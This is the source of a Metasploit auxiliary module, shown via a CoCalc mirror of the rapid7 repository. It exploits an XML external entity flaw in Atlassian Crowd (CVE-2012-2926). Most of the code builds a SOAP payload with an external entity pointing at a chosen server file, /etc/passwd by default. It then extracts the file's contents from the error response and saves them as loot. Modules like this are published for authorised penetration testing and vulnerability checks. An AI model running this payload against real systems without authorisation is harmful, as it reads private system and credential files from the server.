CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Atlassian Crowd XML Entity Expansion Remote File Access',
14
'Description' => %q{
15
This module simply attempts to read a remote file from the server using a
16
vulnerability in the way Atlassian Crowd handles XML files. The vulnerability
17
occurs while trying to expand external entities with the SYSTEM identifier. This
18
module has been tested successfully on Linux and Windows installations of Crowd.
19
},
20
'References' =>
21
[
22
[ 'CVE', '2012-2926' ],
23
[ 'OSVDB', '82274' ],
24
[ 'BID', '53595' ],
25
[ 'URL', 'https://neg9.org/' ], # General
26
[ 'URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html']
27
],
28
'Author' =>
29
[
30
'Will Caput', # Vulnerability discovery and Metasploit module
31
'Trevor Hartman', # Vulnerability discovery
32
'Thaddeus Bogner', # Metasploit module
33
'juan vazquez' # Metasploit module help
34
],
35
'License' => MSF_LICENSE
36
)
37
38
register_options(
39
[
40
Opt::RPORT(8095),
41
OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),
42
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])
43
44
])
45
46
register_autofilter_ports([ 8095 ])
47
end
48
49
def run_host(ip)
50
uri = normalize_uri(target_uri.path)
51
res = send_request_cgi({
52
'uri' => uri,
53
'method' => 'GET'})
54
55
if not res
56
print_error("#{rhost}:#{rport} Unable to connect")
57
return
58
end
59
60
accessfile(ip)
61
end
62
63
def accessfile(rhost)
64
uri = normalize_uri(target_uri.path)
65
print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")
66
67
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
68
xmlaut = 'http://authentication.integration.crowd.atlassian.com'
69
xmlsoap = 'http://soap.integration.crowd.atlassian.com'
70
entity = Rex::Text.rand_text_alpha(rand(4) + 4)
71
72
data = "<!DOCTYPE foo [<!ENTITY #{entity} SYSTEM \"file://#{datastore['RFILE']}\"> ]>" + "\r\n"
73
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:urn="urn:SecurityServer" xmlns:aut="' + xmlaut + '" xmlns:soap="' + xmlsoap + '">' + "\r\n"
74
data << '<soapenv:Header/>' + "\r\n"
75
data << '<soapenv:Body>' + "\r\n"
76
data << '<urn:addAllPrincipals>' + "\r\n"
77
data << '<urn:in0>' + "\r\n"
78
data << '<!--Optional:-->' + "\r\n"
79
data << '<aut:name>?</aut:name>' + "\r\n"
80
data << '<!--Optional:-->' + "\r\n"
81
data << '<aut:token>?</aut:token>' + "\r\n"
82
data << '</urn:in0>' + "\r\n"
83
data << '<urn:in1>' + "\r\n"
84
data << '<!--Zero or more repetitions:-->' + "\r\n"
85
data << '<soap:SOAPPrincipalWithCredential>' + "\r\n"
86
data << '<!--Optional:-->' + "\r\n"
87
data << '<soap:passwordCredential>' + "\r\n"
88
data << '<!--Optional:-->' + "\r\n"
89
data << '<aut:credential>?</aut:credential>' + "\r\n"
90
data << '<!--Optional:-->' + "\r\n"
91
data << '<aut:encryptedCredential>'
92
data << "?&#{entity};"
93
data << '</aut:encryptedCredential>' + "\r\n"
94
data << '</soap:passwordCredential>' + "\r\n"
95
data << '<!--Optional:-->' + "\r\n"
96
data << '<soap:principal>' + "\r\n"
97
data << '<!--Optional:-->' + "\r\n"
98
data << '<soap:ID>?</soap:ID>' + "\r\n"
99
data << '<!--Optional:-->' + "\r\n"
100
data << '<soap:active>?</soap:active>' + "\r\n"
101
data << '<!--Optional:-->' + "\r\n"
102
data << '<soap:attributes>' + "\r\n"
103
data << '<!--Zero or more repetitions:-->' + "\r\n"
104
data << '<soap:SOAPAttribute>' + "\r\n"
105
data << '<!--Optional:-->' + "\r\n"
106
data << '<soap:name>?</soap:name>' + "\r\n"
107
data << '<!--Optional:-->' + "\r\n"
108
data << '<soap:values>' + "\r\n"
109
data << '<!--Zero or more repetitions:-->' + "\r\n"
110
data << '<urn:string>?</urn:string>' + "\r\n"
111
data << '</soap:values>' + "\r\n"
112
data << '</soap:SOAPAttribute>' + "\r\n"
113
data << '</soap:attributes>' + "\r\n"
114
115
res = send_request_cgi({
116
'uri' => uri,
117
'method' => 'POST',
118
'ctype' => 'text/xml; charset=UTF-8',
119
'data' => data,
120
'headers' => {
121
'SOAPAction' => '""',
122
}}, 60)
123
124
if res and res.code == 500
125
case res.body
126
when /<faultstring\>Invalid boolean value: \?(.*)<\/faultstring>/m
127
loot = $1
128
if not loot or loot.empty?
129
print_status("#{rhost}#{rport} Retrieved empty file from #{rhost}:#{rport}")
130
return
131
end
132
f = ::File.basename(datastore['RFILE'])
133
path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
134
print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
135
return
136
end
137
end
138
139
print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
140
end
141
end
142
143
144